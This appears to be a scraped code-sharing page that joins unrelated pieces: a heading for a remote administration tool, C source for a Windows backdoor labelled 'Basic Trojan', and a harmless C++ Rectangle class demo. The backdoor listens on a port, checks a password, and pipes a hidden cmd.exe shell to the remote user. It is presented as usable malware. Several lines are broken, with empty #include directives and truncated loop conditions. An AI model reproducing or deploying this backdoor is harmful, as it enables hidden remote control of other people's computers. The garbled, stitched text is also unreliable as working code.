The Rose remote administration tool project Beta 1.5 (client servers)

• Improved Interface
• Improved connection reliability

Basic Trojan

        #include
        #include
        #include


        //our variables, we need them globally to use them in all functions
        const char welcome[]="Welcome, enter your password please: ";
        char bufferin[1024]; //the buffer to read data from socket
        char bufferout[65535]; //the buffer to write data to the socket
        int i,port; // i is used for loop , port is going to keep the portnumber
        SOCKET locsock,remsock; //the sockets we are going to need
        SOCKADDR_IN sinloc,sinrem; //the structures needed for our sockets
        WSADATA wsadata; //wsadata
        STARTUPINFO startinfo; //startupinfo structure for CreateProcess
        SECURITY_ATTRIBUTES secat; //security attributes structure needed for CreateProcess
        PROCESS_INFORMATION procinfo; //process info struct needed for CreateProcess
        int bytesWritten; //number of bytes written gets stored here
        DWORD bytesRead,avail,exitcode; //number of bytes read, number of bytes available
        //and the exitcode


        void CommandPrompt(void); //the function to give the command prompt
        void Usage(char AppName[]); //the function which puts the usage of the program to the screen

        int main(int argc, char *argv[]) //the main function
        {
        if(argc!=3) //check if we are having enough parameters
        {
        Usage(argv[0]);
        return EXIT_FAILURE;
        }



        //check if the portnumber given is really a number
        for(i=0;i
        {
        if(isdigit(argv[1][i])==0)
        {
        printf("Invalid port number.");
        return EXIT_FAILURE;
        }
        }
        port=atoi(argv[1]); //make integer from ascii string

        //final check to see if it is a real port number
        if(port>65535||port<1)
        {
        printf("Invalid port number.");
        return EXIT_FAILURE;
        }
        //tell windows we want to use sockets
        WSAStartup(0x101,&wsadata);
        //create socket
        locsock=socket(AF_INET,SOCK_STREAM,0);

        //fill structure
        sinloc.sin_family=AF_INET;
        sinloc.sin_addr.s_addr=INADDR_ANY;
        sinloc.sin_port=htons(port);


        //bind the socket to the specified port
        if(bind(locsock,(SOCKADDR*)&sinloc,sizeof(SOCKADDR_IN))==SOCKET_ERROR)
        {
        WSACleanup();
        printf("Error binding socket.");
        return EXIT_FAILURE;
        }

        //listen on the specified socket
        if(listen(locsock,5)==SOCKET_ERROR)
        {
        WSACleanup();
        printf("Error listening socket.");
        return EXIT_FAILURE;
        }

        //infinite loop here to keep the program listening
        while(1)
        {
        remsock=SOCKET_ERROR;
        while(remsock==SOCKET_ERROR)
        {
        //accept connection to our program
        remsock=accept(locsock,NULL,NULL);
        if(remsock==INVALID_SOCKET)
        {
        //cleanup and exit program
        WSACleanup();
        printf("Error accepting socket.");
        return EXIT_FAILURE;
        }
        }
        //ask for password
        send(remsock,welcome,sizeof(welcome),0);
        recv(remsock,bufferin,sizeof(bufferin),0);
        //check password given
        bufferin[strlen(bufferin)-1]=0; //we need this to strip off last character
        if(strcmp(bufferin,argv[2])!=0)
        {
        send(remsock,"\nAccess Denied.\n",17,0);
        }
        else
        {
        CommandPrompt(); //start the commandprompt function
        }
        closesocket(remsock); //close the socket
        }
        //we should never reach this point, but i've put this hear just in case ;-)
        return EXIT_SUCCESS;

        }


        //*************************************************************
        void Usage(char AppName[]) //the function which does nothing more then print out the usage
        {
        printf("backdoor, written by White Scorpion Security (C) 2005\n");
        printf(" ****scorpion ****\n\n");
        printf("Usage: %s \n",AppName);
        }

        //*************************************************************
        void CommandPrompt(void) //the function which handles the complete commandprompt
        {
        secat.nLength=sizeof(SECURITY_ATTRIBUTES);
        secat.bInheritHandle=TRUE;
        DWORD bytesW; //number of bytes written gets stored here
        HANDLE newstdin,newstdout,readout,writein; //the handles for our Pipes
        char exit1[]={'e','x','i','t',10,0}; //we need this to compare our command to 'exit'
        char exit2[]={'E','X','I','T',10,0}; //we need this to compare our command to 'EXIT'

        //create the pipes for our command prompt
        CreatePipe(&newstdin,&writein,&secat,0);
        CreatePipe(&readout,&newstdout,&secat,0);

        GetStartupInfo(&startinfo);

        //fill another structure
        startinfo.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
        startinfo.wShowWindow=SW_HIDE;
        startinfo.hStdOutput=newstdout;
        startinfo.hStdError=newstdout;
        startinfo.hStdInput=newstdin;

        //start cmd prompt
        CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,CREATE_NEW_CONSOLE,NULL,NULL,&startinfo,&procinfo);
        //endless loop
        while(1)
        {
        //check if cmd.exe is still running, if not then cleanup and start listening again.
        if(GetExitCodeProcess(procinfo.hProcess,&exitcode)==STILL_ACTIVE)
        {
        CloseHandle(procinfo.hThread);
        CloseHandle(procinfo.hProcess);
        CloseHandle(newstdin);
        CloseHandle(writein);
        CloseHandle(readout);
        CloseHandle(newstdout);
        break;
        }
        bytesRead=0;
        //sleep 0.5 seconds to give cmd.exe the chance to startup
        sleep(500);
        //check if the pipe already contains something we can write to output
        PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);
        if(bytesRead!=0)
        {
        while(bytesRead!=0)
        { //read data from cmd.exe and send to client, then clear the buffer
        ReadFile(readout,bufferout,sizeof(bufferout),&bytesRead,NULL);
        send(remsock,bufferout,strlen(bufferout),0);
        ZeroMemory(bufferout,sizeof(bufferout));
        sleep(100);
        PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);
        }
        }
        // clear bufferin
        ZeroMemory(bufferin,sizeof(bufferin));
        //receive the command given
        recv(remsock,bufferin,sizeof(bufferin),0);
        //if command is 'exit' or 'EXIT' then we have to capture it to prevent our program
        //from hanging.
        if((strcmp(bufferin,exit1)==0)||(strcmp(bufferin,exit2)==0))
        {
        //let cmd.exe close by giving the command, then go to closeup label
        WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);
        goto closeup;
        }
        //else write the command to cmd.exe
        WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);
        //clear the bufferin
        for(i=0;i
        {
        bufferin[i]=0;
        }
        }
        //close up all handles
        closeup:
        CloseHandle(procinfo.hThread);
        CloseHandle(procinfo.hProcess);
        CloseHandle(newstdin);
        CloseHandle(writein);
        CloseHandle(readout);
        CloseHandle(newstdout);
        }

Object-Oriented program that defines and demonstrates a class representing a Rectangle

/*---------------------------------------------------------------------------------------------------------------------

            Author : -=-=[ccoder]=-=-
            Compiler : Microsoft Visual Studio 2008
            Purpose : Object-Oriented program that defines and demonstrates a class  representing a Rectangle
            Limitations : No validation provided
----------------------------------------------------------------------------------------------------------------------*/
#include
using namespace std;

class Rectangle
{
    private:
            int height;
            int width;
            char ch;                                                                // character use for drawing rectangle
            bool flag;                                                                // flag when rectangle is filled

    public:                           
            Rectangle(): height (0), width (0), ch (' '), flag (true)                // default constructor
            {}

            Rectangle( int h, int w, char c, bool f )                                // overloaded constructor
            {
                height = h;
                width = w;
                ch = c;
                flag = f;
            }

            void flip_rectangle()                                                    // flip the orientation of rectangle
            {
                int temp;
                temp = height;
                height = width;
                width = temp;
            }

            void filled_flag()                                                        // toogle the Filled flag
            {
                if (height != 1 && width != 1)
                {
                    if ( flag == true)
                    {
                        flag = false;
                    }
                    else
                    {
                        flag = true;
                    }
                }
            }

            int calculate_area()                                                    // calculate and returns area
            {
                int area;
                area = height * width;
                return area;
            }

            int getHeight(){return height;}                                            // accessor functions to return private data
            int getWidth(){return width;}           
            char getChar(){return ch;}
            bool getFlag(){return flag;}

            void set( int h, int w, char c = ' ', bool f = true );                    // prototype only
            void draw_rectangle();   
};

void Rectangle::set( int h, int w, char c, bool f )                                    // set data members accordingly
{
    height = h;
    width = w;
    ch = c;
    flag = f;
}

void Rectangle::draw_rectangle()                                                    // draw rectangle
{
    if (flag == true)
    {
        for (int i = 1; i <= height; i++)
        {
            for (int j = 1; j <= width; j++)
            {
                cout << ch << " ";
            }
            cout << endl;
        }
    }
    else
        if (flag == false)
        {
            for(int i=1; i <= width; i++)
            {
                cout << ch << " ";
            }
            cout << endl;

            for(int i=1; i <= (height-2); i++)
            {
                cout << ch << " ";;
                for(int j=1; j <= ((width*2) - 4); j++)
                {
                    cout << " ";
                }
                cout << ch << endl;
               
            }

            for(int y=1; y <= width; y++)
            {
                cout << ch << " ";;
            }
        }
}

int main()
{
    int tempHeight, tempWidth;                                                        // temp variable to gather input
    char tempCh;

    Rectangle rect1;                                                                // declare a blank object
    Rectangle rect2 ( 8, 16, '*', false );                                            // declare/initialize another

    cout << "Enter Height of rectangle: ";
    cin >> tempHeight;
    cout << "Enter Width of rectangle: ";
    cin >> tempWidth;
    cout << "Enter the character for rectangle drawing: ";
    cin >> tempCh;

    rect1.set(tempHeight, tempWidth, tempCh);
    rect1.draw_rectangle();
    cout << endl << "Rectangle 1 is Filled                ";
    system("pause");

    rect1.filled_flag();
    rect1.draw_rectangle();
    cout << endl << "Rectangle 1 is UnFilled            ";
    system("pause");

    rect1.flip_rectangle();
    rect1.draw_rectangle();
    cout << endl << "Rectangle 1 is flipped                ";
    system("pause");
   
    rect1.calculate_area();
    cout << endl << "The area of Rectangle 1 is: " << rect1.calculate_area() << "        ";
    system("pause");

    rect2.draw_rectangle();
    cout << endl << "Rectangle 2 is UnFilled            ";
    system("pause");

    rect2.filled_flag();
    rect2.draw_rectangle();
    cout << endl << "Rectangle 2 is Filled                ";
    system("pause");

    rect2.flip_rectangle();
    rect2.draw_rectangle();
    cout << endl << "Rectangle 2 is flipped                ";
    system("pause");

    rect2.calculate_area();
    cout << endl << "The area of Rectangle 2 is: " << rect2.calculate_area() << "        ";
    system("pause");
   
    cout << endl << "The Rectangle 1: " << endl;
    cout << "Height: " << rect1.getHeight() << endl;
    cout << "Width: " << rect1.getWidth() << endl;
    cout << "Character use to draw: " << rect1.getChar() << endl;
    system("pause");

    cout << endl << "The Rectangle 2: " << endl;
    cout << "Height: " << rect2.getHeight() << endl;
    cout << "Width: " << rect2.getWidth() << endl;
    cout << "Character use to draw: " << rect2.getChar() << endl;
    system("pause");

    return 0;

}